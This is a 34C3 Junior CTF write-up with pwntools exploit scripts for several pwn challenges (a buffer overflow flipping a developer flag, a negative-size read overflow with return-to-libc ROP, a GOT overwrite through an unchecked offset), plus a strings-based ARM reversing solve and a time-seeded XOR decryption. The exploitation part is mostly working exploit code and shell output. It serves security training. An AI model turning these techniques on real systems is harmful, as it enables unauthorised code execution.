34c3 Junior CTF

1 Exploitaion

1.1 Digital Billboard - easy

> We bought a new Digital Billboard for CTF advertisement:
>
> nc 35.198.185.193 1337

Files : billoard (files/billboard/)

```
-> % nc localhost 12345
*
 Digital Billboard
*
We bought a new digital billboard for CTF advertisement.

Type "help" for help :)
> help
set_text <text>                 (Set the text displayed on the board)
devmode                         (Developer mode)
help                            (Show this information)
modinfo                         (Show information about the loaded module)
> set_text hello
Successfully set text to: hello
> devmode
Developer mode disabled!
>
```

We are given the binary as well as the source files . We can now run the server , but it gives an error that the user challenge does not exit , just add a user called challenge , after that we can run the server and connect it with nc .

The following function is called when devmode option is selected and it checks if the devmode variable have a non zero value and spawn's a shell

```
void shell(int argc, char* argv[]) {
    if (bb.devmode) {
        printf("Developer access to billboard granted.\n");
        system("/bin/bash");
    } else {
        printf("Developer mode disabled!\n");
    }
    return;
}
```

We can see that there is a buffer overflow in `set_text` function

```
void set_text(int argc, char* argv[]) {
    strcpy(bb.text, argv[1]);
    printf("Successfully set text to: %s\n", bb.text);
    return;
}
```

it copy's arbitrary length of string to `bb.text`

```
struct billboard {
    char text[256];
    char devmode;
};
struct billboard bb = { .text="Placeholder", .devmode=0 };
```

Using this buffer overflow we can overflow the `devmode` variable and set it to arbitrary value ,

```
*
 Digital Billboard
*
We bought a new digital billboard for CTF advertisement.

Type "help" for help :)
> set_text AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Successfully set text to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> devmode
Developer access to billboard granted.
cat flag.txt
34C3_w3lc0me_t0_34c3_ctf_H4ve_fuN
```

1.2 Gift Wrapping Factory - easy/mid

> Have trouble wrapping your gifts nicely? Take a look at this new service:
>
> nc 35.198.185.193 1338

Files : wrap (files/wrap/)

We are given the server source and the server binary and the giftwrapper shared library .

connecting to the server gives the following prompt

```
*
 Gift Wrapping Factory
*
Welcome to the new gift wrapping service!
Type "help" for help :)
> wrap
What is the size of the gift you want to wrap?
 |> 10
Please send me your gift.
 |> hello
        _   _
       ((\o/))
 .-------//^\\------.
 |      /`   `\     |
 |                  |
 | hello            |
 |                  |
  ------------------

Wow! This looks so beautiful
> modinfo
************************************
Information about the loaded module:
Name: Gift Wrapping Factory
Base address: 0x7f54c5187000
************************************
>
```

wrap takes a input size and read's that much character and prints the result

Let's analyse the function .

```
         0x0000087a b    4154           push r12
         0x0000087d      53             push rbx
         0x0000087e      4883ec70       sub rsp, 0x70               ; 'p'
         0x00000882      488d3db70100.  lea rdi, str.What_is_the_size_of_the_gift_you_want_to_wrap__n___
         0x00000889      b800000000     mov eax, 0
         0x0000088e      e8cdfeffff     call sub.printf_40_760      ;[1]
         0x00000893      488d742465     lea rsi, [rsp + 0x65]       ; 'e'
         0x00000898      48c744246500.  mov qword [rsp + 0x65], 0
         0x000008a1      66c744246d00.  mov word [rsp + 0x6d], 0
         0x000008a8      c644246f00     mov byte [rsp + 0x6f], 0
         0x000008ad      ba0a000000     mov edx, 0xa
         0x000008b2      bf01000000     mov edi, 1
         0x000008b7      e8b4feffff     call sym.imp.read           ;[2] ; ssize_t read(int fildes, void
         0x000008bc      4885c0         test rax, rax
      ,=< 0x000008bf      0f8eed000000   jle 0x9b2                   ;[3]
      |   0x000008c5      488d7c2465     lea rdi, [rsp + 0x65]       ; 'e'
      |   0x000008ca      ba00000000     mov edx, 0
      |   0x000008cf      be00000000     mov esi, 0
      |   0x000008d4      e8a7feffff     call sym.imp.strtol         ;[4] ; long strtol(const char *str, c
      |   0x000008d9      4889c5         mov rbp, rax
      |   0x000008dc      6683f863       cmp ax, 0x63                ; 'c'
     ,==< 0x000008e0      0f8fd6000000   jg 0x9bc                    ;[5]
     ||   0x000008e6      488d3dab0100.  lea rdi, str.Please_send_me_your_gift._n___    ; 0xa98 ; "Please
     ||   0x000008ed      b800000000     mov eax, 0
     ||   0x000008f2      e869feffff     call sub.printf_40_760      ;[1]
     ||   0x000008f7      4889e6         mov rsi, rsp
     ||   0x000008fa      b90c000000     mov ecx, 0xc
     ||   0x000008ff      b800000000     mov eax, 0
     ||   0x00000904      4889f7         mov rdi, rsi
     ||   0x00000907      f348ab         rep stosq qword [rdi], rax
     ||   0x0000090a      c70700000000   mov dword [rdi], 0
     ||   0x00000910      0fb7c5         movzx eax, bp
     ||   0x00000913      488d5001       lea rdx, [rax + 1]
     ||   0x00000917      bf01000000     mov edi, 1
     ||   0x0000091c      e84ffeffff     call sym.imp.read           ;[2] ; ssize_t read(int fildes, void
     ||   0x00000921      83e801         sub eax, 1
     ||   0x00000924      4863d0         movsxd rdx, eax
     ||   0x00000927      803c140a       cmp byte [rsp + rdx], 0xa   ; [0xa:1]=0
    ,===< 0x0000092b      0f8499000000   je 0x9ca
    |||      ; JMP XREF from 0x000009ce (sym.wrap)
   .----> 0x00000931      488d3d800100.  lea rdi, str._____________n____________o__________n_.____________
__________ ; 0xab8 ; "         _   _       \n        ((\\o/))      \n .-------//^\\\\------.\n |      /`
   :|||   0x00000938      e803feffff     call sym.imp.puts           ; int puts(const char *s)
   :|||   0x0000093d      6685ed         test bp, bp
  ,=====< 0x00000940      7e4f           jle 0x991
  |:|||   0x00000942      0fbfed         movsx ebp, bp
  |:|||   0x00000945      83ed01         sub ebp, 1
  |:|||   0x00000948      83e5f0         and ebp, 0xfffffff0
  |:|||   0x0000094b      83c510         add ebp, 0x10
  |:|||   0x0000094e      bb00000000     mov ebx, 0
  |:|||   0x00000953      4989e4         mov r12, rsp
  |:|||      ; JMP XREF from 0x0000098f (sym.wrap)
.------> 0x00000956      4863f3         movsxd rsi, ebx
:|:|||   0x00000959      4c01e6         add rsi, r12                ; 'n'
:|:|||   0x0000095c      488d3d3d0200.  lea rdi, str.___.16s        ; 0xba0 ; " | %.16s"
:|:|||   0x00000963      b800000000     mov eax, 0
:|:|||   0x00000968      e8f3fdffff     call sym.imp.printf         ; int printf(const char *format)
:|:|||   0x0000096d      be13000000     mov esi, 0x13
:|:|||   0x00000972      29c6           sub esi, eax
:|:|||   0x00000974      ba20000000     mov edx, 0x20               ; "@"
:|:|||   0x00000979      488d3d290200.  lea rdi, str.__c___n        ; 0xba9 ; "%*c |\n"
:|:|||   0x00000980      b800000000     mov eax, 0
:|:|||   0x00000985      e8d6fdffff     call sym.imp.printf         ; int printf(const char *format)
:|:|||   0x0000098a      83c310         add ebx, 0x10
:|:|||   0x0000098d      39eb           cmp ebx, ebp
`======< 0x0000098f      75c5           jne 0x956
 |:|||      ; JMP XREF from 0x00000940 (sym.wrap)
 `-----> 0x00000991      488d3d900100.  lea rdi, str._____________________n_____________________n ; 0xb2
-- \n"
   :|||   0x00000998      e8a3fdffff     call sym.imp.puts           ; int puts(const char *s)
```

```
   :|||   0x0000099d      488d3d0c0200.  lea rdi, str.Wow__This_looks_so_beautiful ; 0xbb0 ; "Wow! This lo
   :|||   0x000009a4      e897fdffff     call sym.imp.puts           ; int puts(const char *s)
  .-----> 0x000009a9      4883c470       add rsp, 0x70               ; 'p'
  ::|||   0x000009ad      5b             pop rbx
  ::|||   0x000009ae      5d             pop rbp
  ::|||   0x000009af      415c           pop r12
  ::|||   0x000009b1      c3             ret
```

The function reads the size of the input and use `strol` function to convert the string to int , then checks if the number is larger than 0x63 if it is the text the gift is too large is printed , then reads the gift with `read` function with the inputted number as the size of bytes to be read .

The bug is that we can give a negative number and it will be stored in memory as two's complement form but the read function takes this as a unsigned integer so -1 -> 0xffffffff in two's complement , will make `read` read 0xffffffff bytes of data . now we have a buffer overflow

There is a `spawn_shell` function in the library we just need to jump to that location . Since ASLR is turned on we need to calculate the offset. we can use the `modeinfo` function to get the base address if the library can calculate the offset.

```
from pwn import *


# host = "localhost"
# port = "12345"

host = "35.198.185.193"
port = "1338"


offset = 136
shell_offset = 0x9d3

io = remote(host, port)
io.recvuntil('> ')
io.send("modinfo\n")

addr = int(io.recvuntil('> ').split('\n')[3].split(':')[1], 16) + shell_offset


io.send("wrap\n")
io.recvuntil('|> ')
io.send('-1\n')

io.recvuntil('|> ')
io.send("A" * offset + p64(addr) + "\n")

io.interactive()
io.close()
```

```
-> % python exploit.py
[+] Opening connection to 35.198.185.193 on port 1338: Done
[*] Switching to interactive mode
         _   _
        ((\o/))
 .-------//^\\------.
 |      /`   `\     |
 |                  |
 |                  |
  ------------------

Wow! This looks so beautiful
$ cat flag.txt
34C3_be4ut1fUl_sh3ll_g1fts_3v3ryWh3r3
```

1.3 Gift Wrapping Factory 2.0 - mid/hard

> Wrapping gifts is now even more fun! Gift Wrapping Factory 2.0:
>
> nc 35.198.185.193 1341

Files : wrap2 (files/wrap2/)

This is challenge is like the previous one the change is that there is no `spawn_shell` function we have to do a return-to-libc attack

For that we are given libc that the server uses , and we know the base address of the giftwrapper shared library when it is mapped into the memory using the modinfo function from these knowledge we can find the actual address of the system function in the memory and jump to that address

```
gdb-peda$ vmmap
...
0x00007f1c93d78000 0x00007f1c93d79000 r-xp      /media/DataZ/bi0s/ctf/34c3 Junior/files/wrap2/giftwrapper
0x00007f1c93d79000 0x00007f1c93f78000 ---p      /media/DataZ/bi0s/ctf/34c3 Junior/files/wrap2/giftwrapper
0x00007f1c93f78000 0x00007f1c93f79000 r--p      /media/DataZ/bi0s/ctf/34c3 Junior/files/wrap2/giftwrapper
0x00007f1c93f79000 0x00007f1c93f7a000 rw-p      /media/DataZ/bi0s/ctf/34c3 Junior/files/wrap2/giftwrapper
0x00007f1c93f7a000 0x00007f1c9410f000 r-xp      /lib/x86_64-linux-gnu/libc-2.24.so
0x00007f1c9410f000 0x00007f1c9430f000 ---p      /lib/x86_64-linux-gnu/libc-2.24.so
0x00007f1c9430f000 0x00007f1c94313000 r--p      /lib/x86_64-linux-gnu/libc-2.24.so
0x00007f1c94313000 0x00007f1c94315000 rw-p      /lib/x86_64-linux-gnu/libc-2.24.so
...
```

The libc is mapped after `giftwrapper` and it task 0x202000 of memory address so the base address of libc is $base_{adds}$ of giftwrapper + 0x202000

```
-> % r2 libc-2.26.so
[0x000212e0]> is~system
vaddr=0x0014c330 paddr=0x0014c330 ord=229 fwd=NONE sz=107 bind=GLOBAL type=FUNC name=svcerr_systemerr
vaddr=0x00047dc0 paddr=0x00047dc0 ord=595 fwd=NONE sz=45 bind=GLOBAL type=FUNC name=__libc_system
vaddr=0x00047dc0 paddr=0x00047dc0 ord=1378 fwd=NONE sz=45 bind=WEAK type=FUNC name=system
[0x000212e0]> /+ /bin/sh
Using chunksize: 7
/x 2f62696e2f7368
Searching 7 bytes in [0x0-0x1d5da4]
hits: 1
Searching 7 bytes in [0x3d6758-0x3dfa60]
hits: 0
0x001a3ee0 hit0_0 2f62696e2f7368
[0x000212e0]>
```

So the offset of system is `0x00047dc0` and the string "/bin/sh" is at offset `0x001a3ee0` .

Now we need to find a gadget to pop the string to rdi

```
-> % r2 server
[0x00400dc0]> /Rl pop rdi
0x00401550: pop rdi; ret;
0x004015c3: pop rdi; ret;
[0x00400dc0]>
```

The final exploit

```
from pwn import *


# host = "localhost"
# port = "12345"

host = "35.198.185.193"
port = "1341"


offset = 136
shell_offset = 0x202000 + 0x001a3ee0
system_offset = 0x202000 + 0x00047dc0


io = remote(host, port)
io.recvuntil('> ')
io.send("modinfo\n")

addr = int(io.recvuntil('> ').split('\n')[3].split(':')[1], 16)


io.send("wrap\n")
io.recvuntil('|> ')
io.send('-1\n')

io.recvuntil('|> ')


rop = p64(0x0000000000401550)  # pop rdi ; ret
rop += p64(addr + shell_offset)
rop += p64(addr + system_offset)

io.send("A" * offset + rop + "\n")

io.interactive()
io.close()
```

```
-> % python exploit.py
[+] Opening connection to 35.198.185.193 on port 1341: Done
[*] Switching to interactive mode
         _   _
        ((\o/))
 .-------//^\\------.
 |      /`   `\     |
 |                  |
 |                  |
  ------------------

Wow! This looks so beautiful
$ cat flag.txt
34C3_r0p_wr4pP3d_g1fts_ar3_tH3_b3st_g1fts
```

1.4 Mate Bottling Plant Control Center - easy/mid

> To guarantee a constant supply of Mate we built our own Mate Bottling Plant:
>
> nc 35.198.185.193 1339

File : mete (files/mate/)

Running the server

```
 Mate Bottling Plant Control Center
.-------------------------------------------------------------------------.
| Security advice:                                                        |
| This industrial application may only be used by qualified employees.    |
| Non-intended usage may lead to serious damage to the machinery.         |
 -------------------------------------------------------------------------

 Type "help" for an overview of the provided functionality.
> help
formula                         (Display the used Mate formula)
new_formula <i1> <i2> ...       (Design a new Mate formula)
tap_pos                         (Show the current position of the filling tap)
move_tap <offset>               (Move the filling tap by offset)
fill <n>                        (Fill n milliliters of Mate at the current filling tap position)
hose_pos                        (Show the current position of the extraction hose)
move_hose <offset>              (Move the extraction hose by offset)
extract <n>                     (Extract n milliliters of mate at the current extraction hose position)
inspect <p>                     (Inspect the bottle at position p)
exit                            (Shut down the Mate Bottling Plant)
help                            (Show this information)
modinfo                         (Show information about the loaded module)
> tap_pos
The filling tap is at position 0x7faa8bbeb0c0.
> move_tap 10
> tap_pos
The filling tap is at position 0x7faa8bbeb0ca.
> formula
water mate_tea sugar_syrup citric_acid caffeine carbonic_acid
> new_formula test
Updated Mate formula.
> formula
test
> fill 4
Succesfully filled 4 milliliters of mate at 0x7faa8bbeb0ca.
```

By going through the disassembly of all the function we can see that the most important is fill and formula . the fill command writes the given size of bytes from formula to the memory pointed by the tap , we can move the position of the tap with `move_tap` command to anywhere since there is no boundary check for the given offset

```
0x00000fa2      488b05d71f20.  mov rax, qword [reloc.completed.6973_128] ; psition of the tap
0x00000fa9      488b1424       mov rdx, qword [rsp]
0x00000fad      480110         add qword [rax], rdx
```

Using this we can write to anywhere in the memory , we can write the address of `spawn_shell` which is included in the library to a $GOT_{address}$ of printf and when printf is called after that we will be executing the $spawn_{sell}$ function instead .

```
->% objdump -R server
...
0000000000602038 R_X86_64_JUMP_SLOT  dup2@GLIBC_2.2.5
0000000000602040 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000602048 R_X86_64_JUMP_SLOT  alarm@GLIBC_2.2.5
0000000000602050 R_X86_64_JUMP_SLOT  close@GLIBC_2.2.5
...
```

The GOT address of the printf is `0x0602040`

```
[0x00000cc0]> is~shell
vaddr=0x00001293 paddr=0x00001293 ord=055 fwd=NONE sz=21 bind=GLOBAL type=FUNC name=spawn_shell
```

offset to $spawn_{shell}$ is `0x00001293`

Connecting to server few times we can see that the address to tap is not changing now using that we can calculate the amount the tap should be moved to point to the printf and we can create a formula with the address of the `spawn_sell` function and then call fill command to write to that address.

Final exploit

```
from pwn import *


# host = "localhost"
# port = "12345"

host = "35.198.185.193"
port = "1339"


shell_offset = 0x00001293

io = remote(host, port)
io.recvuntil('> ')
io.send("modinfo\n")


addr = int(io.recvuntil('> ').split('\n')[3].split(':')[1], 16)
log.info("addr : " + hex((addr)))


io.send("new_formula  " + p64(addr + shell_offset) + "\n")
io.recvuntil('> ')
io.send("move_tap -140203308077184 \n ")
io.recvuntil('> ')
io.send("fill 6 \n")
io.interactive()
io.close()
```

```
-> % python exploit
[+] Opening connection to 35.198.185.193 on port 1339: Done
[*] addr : 0x7f83a09fc000
[*] Switching to interactive mode
Succesfully filled 6 milliliters of mate at 0x602040.
$ cat flag.txt
34C3_t0ns_0f_M4t3_w3r3_f1lL3d_t0d4y
```

2 Reversing

2.1 ARM1 - easy

> Can you reverse engineer this code and get the flag?
>
> This code is ARM Thumb 2 code which runs on an STM32F103CBT6. You should not need such a controller to solve this challenge.
>
> There are 5 stages in total which share all the same code base, so you are able to compare code from the first stage with all the other stages to see what code is actually relevant.
>
> If you should need a datasheet, you can get it here (http://www.st.com/content/ccc/resource/technical/document/reference_manual/59/b9/ba/7f/11/af/43
>
> In case you need to refresh your ARM assembly, check out Azeria's cool articles (https://azeria-labs.com/writing-arm-assembly-part-1/).
>
> Challenge binary

File : arm_{stage1} (files/arm_stage1/arm_stage1.bin)

```
-> % strings arm_stage1.bin| grep 34C3
The flag is: 34C3_I_4dm1t_it_1_f0und_th!s_with_str1ngs
```

3 Crypto

3.1 top - easy

> Perfectly secure. That's for sure! Or can break it (./files/top/top.py_685c1ff1457f81dbfa9e8e82ca7bd0a8) and reveal my secret (./files/top/top_secret_86d05414a795935dcdd0f8128f53baa7)?

We are given a encryption script and the a file which is encrypted with it

```
import random
import sys
import time

cur_time = str(time.time()).encode('ASCII')
random.seed(cur_time)

msg = input('Your message: ').encode('ASCII')
key = [random.randrange(256) for _ in msg]
c = [m ^ k for (m,k ) in zip(msg + cur_time, key + [0x88]*len(cur_time))]

with open(sys.argv[1], "wb") as f:
    f.write(bytes(c))
```

What this script do is that first it creates keys using the python random number generator who's seed is the current time . then the input sting appended with the time is xored with key and 0x88 . Here every time the cur_{time} is xored with 0x88 , thus we are able to extract the time from the secret After that we just need to generate the key's with this seed and xor with the input gives us the flag .

```
import random
import sys
import time


with open("/home/nemesis/Downloads/top_secret_86d05414a795935dcdd0f8128f53baa7", "rb") as f:
enc = list(f.read())
time = []
for i in enc[len(enc) - 18:len(enc)]:
    time.append(i ^ 0x88)
msg = enc[:len(enc) - 18]

random.seed(''.join([chr(i) for i in time]))

key = [random.randrange(256) for _ in msg]
c = [int(m) ^ int(k) for (m, k) in zip(msg + time, key + [0x88] * len(time))]

print(''.join([chr(i) for i in c]))
```

```
-> % python3 decrypt.py
Here is your flag: 34C3_otp_top_pto_pot_tpo_opt_wh0_car3s'½'»¿'±'»»¦°¿°°¿½°
```

Created: 2017-12-30 Sat 11:54
Emacs (http://www.gnu.org/software/emacs/) 25.3.1 (Org-mode (http://orgmode.org) 9.1.5)